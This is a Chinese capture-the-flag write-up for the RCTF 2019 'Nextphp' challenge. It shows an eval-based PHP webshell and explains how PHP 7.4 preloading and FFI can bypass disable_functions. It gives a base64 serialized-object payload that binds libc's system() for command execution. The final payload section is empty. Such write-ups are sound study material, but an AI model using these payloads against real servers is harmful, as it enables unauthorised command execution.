[RCTF 2019]Nextphp
[RCTF 2019]Nextphp
考点
PHP FFI
PHP opcache
bypass disable_functions
wp
给了个shell的源码
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}?a=phpinfo();看到phpinfo中设置了disable_functions

?a=var_dump(scandir('/'));提示没有权限,?a=var_dump(scandir('.'));看到两个文件,index.php和preload.php。再读取preload.php
实际上还是要仔细观察phpinfo,可以看到设置了opcache.preload,启用了FFI,禁用了反射类


opcache.preload 是 PHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读:https://wiki.php.net/rfc/preload ,在这篇文档尾巴可以看到如下描述:
In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones
大概意思就是说允许在 preload 文件中使用 FFI 拓展,但是文档中说了 FFI 是一个危险的拓展,而这道题目却开启了 FFI 拓展。我们可以参考文档:https://wiki.php.net/rfc/ffi 中的例子:
如果不设置 FFI::cdef 的第二个参数,也可以调用 C 函数。那么命令执行函数格式如下
preload.php中定义了A类,实现了Serializable接口,__unserialize()函数会在反序列化时被调用。这一特性是在PHP7.4中新加入的,具体可参考:https://wiki.php.net/rfc/custom_object_serialization
传入?a=var_dump(unserialize(base64_decode("QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319")));

触发A::run()从而把FFI对象返回给A->data['ret'],再用A::__get()函数就可以获取FFI对象了
?a=var_dump(unserialize(base64_decode("QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319"))->__get('ret'));

最后payload

小结
最后更新于